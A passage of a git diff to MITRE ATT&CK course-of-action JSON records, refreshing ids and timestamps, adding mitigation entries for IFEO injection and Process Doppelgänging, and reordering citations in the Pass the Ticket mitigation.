-    "id": "bundle--9c8773ef-f457-432c-9f05-60e16a0288be",
+    "id": "bundle--8f43678d-9d82-4307-be8d-d1caa6648225",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Window Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--25e53928-6f33-49b7-baee-8180578286f6.json b/enterprise-attack/course-of-action/course-of-action--25e53928-6f33-49b7-baee-8180578286f6.json
index a752c8a006..cdb24bead1 100644
--- a/enterprise-attack/course-of-action/course-of-action--25e53928-6f33-49b7-baee-8180578286f6.json
+++ b/enterprise-attack/course-of-action/course-of-action--25e53928-6f33-49b7-baee-8180578286f6.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--29194d6f-2324-4030-8651-a015122cf75d",
+    "id": "bundle--76b7255d-eedc-4393-ba3c-9fc747ef8353",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Firmware Mitigation",
             "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33.json b/enterprise-attack/course-of-action/course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33.json
index 0290e80da8..b17667bcaa 100644
--- a/enterprise-attack/course-of-action/course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33.json
+++ b/enterprise-attack/course-of-action/course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f9405d7e-e6c5-4bf1-ac18-05d8c2801046",
+    "id": "bundle--fc466272-4da2-4dea-857d-294a4f35e5b6",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Compressed Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b.json b/enterprise-attack/course-of-action/course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b.json
index 76f4de6c2d..b62f417fb8 100644
--- a/enterprise-attack/course-of-action/course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b.json
+++ b/enterprise-attack/course-of-action/course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--240dbd40-d17d-4c94-862a-a72a8ae1c2da",
+    "id": "bundle--27f9816d-c3fa-4e9c-a031-529f55a34827",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encrypted Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1.json b/enterprise-attack/course-of-action/course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1.json
index 17f86fa4de..812f187827 100644
--- a/enterprise-attack/course-of-action/course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1.json
+++ b/enterprise-attack/course-of-action/course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5bf225ad-cc94-40b7-9f6d-347660cd50b0",
+    "id": "bundle--a7b2891e-c3e6-4679-8a14-47a5082f8930",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery Mitigation",
             "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739.json b/enterprise-attack/course-of-action/course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739.json
index 849ee62c14..15e5ea5578 100644
--- a/enterprise-attack/course-of-action/course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739.json
+++ b/enterprise-attack/course-of-action/course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c66ed453-6550-44f7-b141-eabe9d4cd83b",
+    "id": "bundle--974b7af7-53ad-4928-9f30-975c0bbb3ade",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hypervisor Mitigation",
             "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--2d704e56-e689-4011-b989-bf4e025a8727.json b/enterprise-attack/course-of-action/course-of-action--2d704e56-e689-4011-b989-bf4e025a8727.json
index 11c8131d5c..7ab3aabc42 100644
--- a/enterprise-attack/course-of-action/course-of-action--2d704e56-e689-4011-b989-bf4e025a8727.json
+++ b/enterprise-attack/course-of-action/course-of-action--2d704e56-e689-4011-b989-bf4e025a8727.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--18b55832-59de-485d-beb6-09f6c7cd5343",
+    "id": "bundle--bf7f0478-4b2a-4c23-b17a-242d8f004851",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Plist Modification Mitigation",
             "description": "Prevent plist files from being modified by users by making them read-only.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5.json b/enterprise-attack/course-of-action/course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5.json
index 39e0cecf60..62322d512e 100644
--- a/enterprise-attack/course-of-action/course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5.json
+++ b/enterprise-attack/course-of-action/course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ca2aa5f4-40b3-4b98-aa69-f570ccd633aa",
+    "id": "bundle--6e411f11-f70c-4a55-b8ed-2f3b0fff3639",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Admin Shares Mitigation",
             "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3.json b/enterprise-attack/course-of-action/course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3.json
index d8ac13f461..80dd1de41e 100644
--- a/enterprise-attack/course-of-action/course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3.json
+++ b/enterprise-attack/course-of-action/course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--16d5449a-5666-4d96-b761-c9dff434d1bd",
+    "id": "bundle--48624165-b60f-4778-9e49-81c63a15614c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winlogon Helper DLL Mitigation",
             "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--33f76731-b840-446f-bee0-53687dad24d9.json b/enterprise-attack/course-of-action/course-of-action--33f76731-b840-446f-bee0-53687dad24d9.json
new file mode 100644
index 0000000000..b5a56773ba
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--33f76731-b840-446f-bee0-53687dad24d9.json
@@ -0,0 +1,43 @@
+{
+    "type": "bundle",
+    "id": "bundle--3a4af2d1-b026-4e9e-aeeb-6f0b9cf49069",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Image File Execution Options Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
+                    "external_id": "T1183"
+                },
+                {
+                    "source_name": "Microsoft IFEOorMalware July 2015",
+                    "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.",
+                    "url": "https://answers.microsoft.com/windows/forum/windows%2010-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31.json b/enterprise-attack/course-of-action/course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31.json
new file mode 100644
index 0000000000..363819c0ee
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31.json
@@ -0,0 +1,48 @@
+{
+    "type": "bundle",
+    "id": "bundle--f3244bd7-969c-43ae-a658-1899b9d07f09",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Doppelg\u00e4nging Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelg\u00e4nging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
+                    "external_id": "T1186"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
+                {
+                    "source_name": "TechNet Applocker vs SRP",
+                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d.json b/enterprise-attack/course-of-action/course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d.json
index 9092eea467..10615ffa48 100644
--- a/enterprise-attack/course-of-action/course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d.json
+++ b/enterprise-attack/course-of-action/course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--469dddc7-aa39-4032-acf0-0aade8ee4bb8",
+    "id": "bundle--6673d742-e0c7-4208-8031-7931c1249f5a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File Deletion Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7.json b/enterprise-attack/course-of-action/course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7.json
index e0881a999f..d33202bc57 100644
--- a/enterprise-attack/course-of-action/course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7.json
+++ b/enterprise-attack/course-of-action/course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8f4628cb-6982-47b6-b4d0-3e4b740eab25",
+    "id": "bundle--6ac77883-cd24-4647-8992-5b2a5a958b44",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Email Collection Mitigation",
             "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8.json b/enterprise-attack/course-of-action/course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8.json
index 1d797cab42..d26159d565 100644
--- a/enterprise-attack/course-of-action/course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8.json
+++ b/enterprise-attack/course-of-action/course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--4ab6421c-aa53-43a7-a273-1b3fdc63ba81",
+    "id": "bundle--478790fe-4b31-45a4-9dbf-71b24526224d",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disabling Security Tools Mitigation",
             "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--39706d54-0d06-4a25-816a-78cc43455100.json b/enterprise-attack/course-of-action/course-of-action--39706d54-0d06-4a25-816a-78cc43455100.json
index 31e1d730e8..33c25e82a9 100644
--- a/enterprise-attack/course-of-action/course-of-action--39706d54-0d06-4a25-816a-78cc43455100.json
+++ b/enterprise-attack/course-of-action/course-of-action--39706d54-0d06-4a25-816a-78cc43455100.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--3cd887ee-428a-4ba2-a9b3-8e80b77f9744",
+    "id": "bundle--1814fb59-6342-44cb-8981-d25a43a1e6ce",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Removable Media Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--399d9038-b100-43ef-b28d-a5065106b935.json b/enterprise-attack/course-of-action/course-of-action--399d9038-b100-43ef-b28d-a5065106b935.json
index 646c112ed3..a862e1b74a 100644
--- a/enterprise-attack/course-of-action/course-of-action--399d9038-b100-43ef-b28d-a5065106b935.json
+++ b/enterprise-attack/course-of-action/course-of-action--399d9038-b100-43ef-b28d-a5065106b935.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--86e24ecc-18e5-406b-9c52-c6ddb8d0c31b",
+    "id": "bundle--5152df51-e6d7-4c65-ad64-e32167e0b577",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Non-Application Layer Protocol Mitigation",
             "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d.json b/enterprise-attack/course-of-action/course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d.json
index 622c78847a..85797658e5 100644
--- a/enterprise-attack/course-of-action/course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d.json
+++ b/enterprise-attack/course-of-action/course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--809bce72-d2d0-4676-958f-e52247135176",
+    "id": "bundle--7de25a75-b4ce-4679-8f5b-49f97bc5ddea",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Ticket Mitigation",
             "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -22,34 +22,34 @@
                     "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                     "url": "https://adsecurity.org/?p=556"
                 },
-                {
-                    "source_name": "CERT-EU Golden Ticket Protection",
-                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
-                },
                 {
                     "source_name": "Beechey 2010",
                     "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
-                },
-                {
-                    "source_name": "NSA MS AppLocker",
-                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
-                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                    "source_name": "CERT-EU Golden Ticket Protection",
+                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                 },
                 {
                     "source_name": "Corio 2008",
                     "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                     "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
